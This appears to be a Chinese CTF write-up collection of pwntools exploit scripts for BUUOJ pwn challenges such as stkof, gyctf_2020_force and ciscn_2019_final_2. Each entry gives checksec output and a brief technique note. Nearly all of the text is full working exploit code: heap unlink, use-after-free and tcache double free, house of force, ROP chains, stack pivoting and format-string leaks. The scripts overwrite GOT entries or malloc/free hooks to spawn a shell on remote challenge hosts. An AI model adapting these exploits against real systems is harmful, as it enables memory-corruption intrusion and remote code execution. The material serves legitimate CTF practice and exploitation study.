1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#! /usr/bin/env python

from pwn import *

#sh=process('./stkof')
sh=remote('node3.buuoj.cn',29509)

elf=ELF('./stkof')
context.log_level='debug'
libc=elf.libc

def add(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(index,content):
sh.sendline('2')
sleep(0.2)
sh.sendline(str(index))
sleep(0.2)
sh.sendline(str(len(content)))
sleep(0.2)
sh.send(content)
sh.recvuntil('OK\n')

def free(index):
sh.sendline('3')
sleep(0.2)
sh.sendline(str(index))

chunk_ptr=0x602150
fd=chunk_ptr-0x18
bk=chunk_ptr-0x10
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

add(0x60) #1
add(0x80) #2
add(0x80) #3
add(0x10) #4
edit(2,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90))
free(3)

edit(2,'a'*0x10+p64(free_got)+p64(puts_got))
edit(1,p64(puts_plt))
free(2)
sh.recvuntil('OK\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))

sh.success('puts_addr : ' +hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
sh.success('libc_base: ' +hex(libc_base))
system_addr=libc_base+libc.symbols['system']
sh.success('system_addr: ' +hex(system_addr))

edit(1,p64(system_addr))
edit(4,'/bin/sh\x00')
free(4)

#gdb.attach(sh)
sh.interactive()

jarvisoj_level5

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

和之前的一样,感觉是buu弄错了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./level3_x64')
sh=remote('node3.buuoj.cn',28929)
context.log_level='debug'
elf=ELF('./level3_x64')

write_plt = elf.plt['write']
main_addr = elf.symbols['main']
read_got = elf.got['read']
pop_rdi_ret=0x00000000004006b3
pop_rsi_r15_ret=0x00000000004006b1
payload = 'a' * (0x80 + 8)
payload+=p64(pop_rdi_ret)+p64(1) +p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(write_plt)+p64(main_addr)

sh.recvuntil('Input:\n')
sleep(0.5)
sh.sendline(payload)
sleep(0.5)
read_addr=u64(sh.recv(8))
sh.success('read_addr : ' +hex(read_addr))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0x80 + 8)
payload+=p64(pop_rdi_ret)+p64(str_bin_sh) +p64(system_addr)

sh.recvuntil('\n')
sh.sendline(payload)
sh.interactive()

gyctf_2020_some_thing_exceting

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

程序将flag写到了bss段上,我们通过uaf将chunk申请到bss段上。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #! /usr/bin/env python
from pwn import *

#sh=process('./gyctf_2020_some_thing_exceting')
sh=remote('node3.buuoj.cn',27045)
elf=ELF('./gyctf_2020_some_thing_exceting')
context.log_level='debug'

def add(size,size2,content='\n',content2='\n'):
sh.recvuntil('Now please tell me what you want to do :')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.sendline(content)
sh.recvuntil(': ')
sh.sendline(str(size2))
sh.recvuntil(': ')
sh.sendline(content2)

def free(index):
sh.recvuntil('Now please tell me what you want to do :')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))

def show(index):
sh.recvuntil('Now please tell me what you want to do :')
sh.sendline('4')
sh.recvuntil('Banana ID : > SCP project ID : ')
sh.sendline(str(index))

add(0x58,0x58) #0
add(0x58,0x58) #1
free(0)
free(1)
free(0)
add(0x58,0x58,p64(0x602098)) #2
add(0x58,0x58) #3
add(0x58,0x20) #4
#gdb.attach(sh)
show(4)

sh.interactive()

actf_2019_babystack

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

栈迁移+ROP利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./ACTF_2019_babystack')
sh=remote('node3.buuoj.cn',28438)
elf=ELF('./ACTF_2019_babystack')

context.log_level='debug'

sh.recvuntil('>')
sh.sendline(str(0xe0))

sh.recvuntil('Your message will be saved at ')
stack_addr=int(sh.recv(14),16)
sh.success('stack_addr : ' +hex(stack_addr))

pop_rdi_ret=0x0000000000400ad3
leave_ret=0x0000000000400a18
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x00000000004008F6

sh.recvuntil('>')
payload='a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)+'a'*0xa8+p64(stack_addr)+p64(leave_ret)
sh.send(payload)
sh.recvuntil('Byebye~\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('puts_addr : ' +hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4f2c5
#gdb.attach(sh)
sh.recvuntil('>')
sh.sendline(str(0xe0))

sh.recvuntil('Your message will be saved at ')
stack_addr=int(sh.recv(14),16)
sh.success('stack_addr : ' +hex(stack_addr))

sh.recvuntil('>')
payload='a'*8+p64(one_gadget)+'a'*(0xd0-0x10)+p64(stack_addr)+p64(leave_ret)
sh.send(payload)

sh.interactive()

cmcc_pwnme2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

简单题

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./pwnme2')
sh=remote('node3.buuoj.cn',25121)
context.log_level='debug'
elf=ELF('./pwnme2')

puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
puts_got = elf.got['puts']
payload = 'a' * (0x6c + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#sh.recvuntil('Please input:\n')
sh.sendline(payload)

puts_addr=u32(sh.recvuntil('\xf7')[-4:])
sh.success('puts_addr : ' +hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
sh.recvuntil('\n')
sh.sendline(payload)
sh.interactive()

picoctf_2018_can_you_gets_me

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

静态编译,ROPgadget工具一键生成rop链你值得拥有。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#! /usr/bin/env python

from pwn import *
from struct import pack

#sh=process('PicoCTF_2018_can-you-gets-me')
sh=remote('node3.buuoj.cn',26568)

p = 'a'*0x18+'a'*4
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
sh.sendline(p)
sh.interactive()

axb_2019_brop64

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

栈溢出

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./axb_2019_brop64')
sh=remote('node3.buuoj.cn',28031)
context.log_level='debug'
elf=ELF('./axb_2019_brop64')

puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
read_got = elf.got['read']
pop_rdi_ret=0x0000000000400963
payload = 'a' *0xd0+'a'*8
payload+=p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr)

sh.recvuntil('Please tell me:')
sleep(0.5)
sh.sendline(payload)
sleep(0.5)
read_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
sh.success('read_addr : ' +hex(read_addr))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0xd0 + 8)
payload+=p64(pop_rdi_ret)+p64(str_bin_sh) +p64(system_addr)

sh.recvuntil(':')
sh.sendline(payload)
sh.interactive()

picoctf_2018_got_shell

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

根据程序提示输入即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python 

from pwn import *

#sh=process('./PicoCTF_2018_got-shell')
sh=remote('node3.buuoj.cn',27588)

sleep(0.5)
sh.sendline('0804a014')
sleep(0.5)
sh.sendline('0804854B')

sh.interactive()

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

unlink攻击,改atoi为system

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./bamboobox')
sh=remote('node3.buuoj.cn',28460)
elf=ELF('./bamboobox')
#libc=ELF('./libc.so.6')
context.log_level='debug'

def add(size,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)


def edit(index,size,content):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def show():
sh.recvuntil(':')
sh.sendline('1')

def free(index):
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))

fd=0x6020d8-0x18
bk=0x6020d8-0x10
atoi_got=elf.got['atoi']
puts_got=elf.got['puts']
add(0x20,'aaaa') #0
add(0x80,'bbbb') #1
add(0x80,'cccc') #2
add(0x10,'dddd') #3
edit(1,0x90,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90))
free(2)
edit(1,0x20,p64(0x20)+p64(atoi_got))
show()
atoi_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
sh.success('atoi_addr : ' +hex(atoi_addr))

libc=LibcSearcher('atoi',atoi_addr)
libc_base=atoi_addr-libc.dump('atoi')
system_addr=libc_base+libc.dump('system')
sh.success('libc_base : ' +hex(libc_base))
sh.success('system_addr : ' +hex(system_addr))

edit(0,0x20,p64(system_addr))
sh.recvuntil(':')
sh.sendline('/bin/sh\x00')
#gdb.attach(sh)

sh.interactive()

axb_2019_heap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

格式化字符串泄露libc,然后unlink利用将chunk0修改为free_hook,然后将one_gadget写进去。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#! /usr/bin/env python

from pwn import *

#sh=process('./axb_2019_heap')
sh=remote('node3.buuoj.cn',27301)
elf=ELF('./axb_2019_heap')
context.log_level='debug'
libc=ELF('./x64-libc-2.23.so')

def add(idx,size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('):',str(idx))
sh.sendlineafter('size:',str(size))
sh.sendlineafter('content:',content)

def free(idx):
sh.sendlineafter('>>','2')
sh.sendlineafter('index:',str(idx))

def edit(idx,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('index:',str(idx))
sh.sendlineafter('content: \n',content)

def show():
sh.sendlineafter('>>','3')


sh.recvuntil('Enter your name: ')
#gdb.attach(sh)
sh.sendline('%11$p%15$p')
sh.recvuntil('Hello, ')
base=int(sh.recv(14),16)-0x1186
sh.success('base : ' +hex(base))
libc_start_main=int(sh.recv(14),16)-240
sh.success('libc_start_main : ' +hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4526a
sh.success('one_gadget : ' +hex(one_gadget))
free_hook=libc_base+libc.symbols['__free_hook']
sh.success('free_hook : ' +hex(free_hook))
bss=base+0x202020
sh.success('bss : ' +hex(bss))
fd=bss+0x50-0x18
bk=bss+0x50-0x10

add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
add(3,0x90,'/bin/sh\x00')
edit(1,p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+'\xa0')
free(2)
edit(1,'a'*8+p64(free_hook)+'\x98')
edit(0,p64(one_gadget))
free(3)

#gdb.attach(sh)

sh.interactive()

ciscn_2019_final_2

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

这个题就是一个UAF加IO File的利用,flag在666的文件描述符中,通过将stdin的文件描述符从0改为666,这样调用scanf时就会从666文件描述符中读取数据,就会读入flag

泄露堆地址伪造size

UAF漏洞,程序每次free后会把bool置0,所有需要再次申请chunk,置一才可以造成double free。0x30+0x20+0x20+0x20=0x90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(1,1)
free(1)
add(2,1)
add(2,1)
add(2,1)
add(2,1)
free(2)
add(1,1)
free(2)
show(2)
sh.recvuntil("number :")
chunk_addr = sh.recvuntil("\n")
chunk_addr = int(chunk_addr,10)&0xffff
sh.success('chunk_addr : ' +hex(chunk_addr))
add(2,chunk_addr-0xa0)
add(2,chunk_addr-0xa0)
add(2,0x91) #fake chunk_size is 0x91
泄露libc地址

tcache bin机制,需要先填充,再将chunk1释放到unsorted bin中

1
2
3
4
5
6
7
8
9
10
11
for i in range(7):
free(1)
add(2,0x21)

free(1)
show(1)
sh.recvuntil("number :")
main_arena=int(sh.recv(11),10)&0xffffffff
sh.success('main_arena : ' +hex(main_arena))
fileno_addr=main_arena-96-0x1d8
sh.success('fileno_addr : ' +hex(fileno_addr))
修改fileno

因为这里的chunk1是0x90大小的,而我们只能申请0x20和0x30大小的chunk,所有不能直接写入。通过double free 泄露chunk_addr,修改free chunk 地址为fileno地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
add(1,fileno_addr) #0x30
add(1,0x30)
free(1)
add(2,0x20)
free(1)
show(1)
sh.recvuntil("number :")
chunk_addr=int(sh.recv(11),10)&0xffffffff
sh.success('chunk_addr : ' +hex(chunk_addr))
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,666)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#! /usr/bin/env python

from pwn import *

context.log_level = "debug"

sh = remote("node3.buuoj.cn", 29666)
#sh = process("./ciscn_final_2")
libc = ELF("./libc.so.6")

def add(typee,num):
sh.sendlineafter("which command?\n",'1')
sh.recvuntil("2: short int\n")
sh.sendline(str(typee))
sh.sendlineafter("your inode number:",str(num))

def free(typee):
sh.sendlineafter("which command?\n",'2')
sh.recvuntil("2: short int\n")
sh.sendline(str(typee))

def show(typee):
sh.sendlineafter("which command?\n",'3')
sh.recvuntil(">")
sh.sendline(str(typee))

add(1,1)
free(1)
add(2,1)
add(2,1)
add(2,1)
add(2,1)
free(2)
add(1,1)
free(2)
show(2)
sh.recvuntil("number :")
chunk_addr = sh.recvuntil("\n")
chunk_addr = int(chunk_addr,10)&0xffff
sh.success('chunk_addr : ' +hex(chunk_addr))
add(2,chunk_addr-0xa0)
add(2,chunk_addr-0xa0)
add(2,0x91) #fake chunk_size is 0x91

for i in range(7):
free(1)
add(2,0x21)

free(1)
show(1)
sh.recvuntil("number :")
main_arena=int(sh.recv(11),10)&0xffffffff
sh.success('main_arena : ' +hex(main_arena))
fileno_addr=main_arena-96-0x1d8
sh.success('fileno_addr : ' +hex(fileno_addr))

add(1,fileno_addr) #0x30
add(1,0x30)
free(1)
add(2,0x20)
free(1)
show(1)
sh.recvuntil("number :")
chunk_addr=int(sh.recv(11),10)&0xffffffff
sh.success('chunk_addr : ' +hex(chunk_addr))
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,chunk_addr-0x30)
add(1,666)

sh.sendlineafter('which command?\n> ', '4')
sh.recvuntil('your message :')
#gdb.attach(sh)

sh.interactive()

gyctf_2020_force

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

只有add一个功能,puts是空壳函数
程序在申请chunk后,会打印出chunk的地址,那么我们申请一个大块的空间,系统就会用mmap分配,mmap分配的这块区域在libc下方,偏移是固定的,我们就可以算出libc_base
然后不管申请多大的chunk,都能读入0x50,那这里就存在溢出,我们通过这个溢出,把top chunk的size改为0xffffffffffffffff,那我们就可以申请很大的size了,我们申请一个size为malloc_hook何top chunk之间的偏移的chunk,那么就能将top chunk推到malloc_hook附近

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#! /usr/bin/env python

from pwn import *

#sh=process('./gyctf_2020_force')
sh=remote('node3.buuoj.cn',27218)
libc=ELF('./x64-libc-2.23.so')
context.log_level='debug'

def add(size,content):
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(size))
sh.recvuntil('bin addr ')
chunk_addr=int(sh.recv(14),16)
sh.recvuntil('content')
sh.send(content)
return chunk_addr

def leak_libc(size,content):
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(size))
sh.recvuntil('bin addr ')
chunk_addr=int(sh.recv(14),16)
sh.recvuntil('content')
sh.send(content)
return chunk_addr


chunk_addr=leak_libc(2000000,'aaaa')
libc_base=chunk_addr+0x1e8ff0
sh.success('libc_base : ' +hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
sh.success("malloc_hook : " + hex(malloc_hook))
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base +0x4526a
sh.success("one_gadget : " + hex(one_gadget))
sh.success("realloc : " + hex(realloc))

chunk_addr=add(0x20,p64(0)*5+p64(0xffffffffffffffff))
sh.success('chunk_addr : ' +hex(chunk_addr))
heap_base=chunk_addr-0x10+0x30
sh.success('heap_base : ' +hex(heap_base))
size=malloc_hook-0x30-heap_base-0x10
sh.success('size : ' +hex(size))
add(size,'aa')
add(0x20,'b'*8+p64(one_gadget)+p64(realloc+4))
#gdb.attach(sh)

sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x20))

sh.interactive()

mrctf2020_easy_equation

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

栈溢出,有后门函数,需要注意的是溢出字节是9个。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /usr/bin/env python

from pwn import *

#sh=process('./mrctf2020_easy_equation')
sh=remote('node3.buuoj.cn',29117)
elf=ELF('./mrctf2020_easy_equation')
context.log_level='debug'

system_plt=elf.plt['system']
pop_rdi=0x0000000000400753

payload='a'*9+p64(pop_rdi)+p64(0x0000000000400779)+p64(system_plt)
sh.sendline(payload)
sh.interactive()

ciscn_2019_en_3

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

利用:

puts函数会泄露出libc,然后就是常规的tcachebin利用。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#! /usr/bin/env python 

from pwn import *

#sh=process('./ciscn_2019_en_3')
sh=remote('node3.buuoj.cn',26415)
elf=ELF('./ciscn_2019_en_3')
context.log_level='debug'
libc=ELF('./18-64-libc-2.27.so')

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(': \n')
sh.sendline(str(size))
sh.recvuntil(': \n')
sh.send(content)

def free(index):
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':\n')
sh.sendline(str(index))

sh.recvuntil("What's your name?\n")
sh.sendline('L0ne1y')
sh.recvuntil('Please input your ID.\n')
sh.sendline('a'*8)
sh.recv(8)
setbuffer_addr=u64(sh.recv(6).ljust(8,'\x00'))-231
sh.success('setbuffer : ' +hex(setbuffer_addr))
libc_base=setbuffer_addr-libc.symbols['setbuffer']
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4f322
sh.success('one_gadget : ' +hex(one_gadget))
free_hook=libc_base+libc.symbols['__free_hook']
sh.success('free_hook : ' +hex(free_hook))

add(0x60,'L0ne1y')
free(0)
free(0)
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
add(0x60,p64(one_gadget))
free(0)

#gdb.attach(sh)

sh.interactive()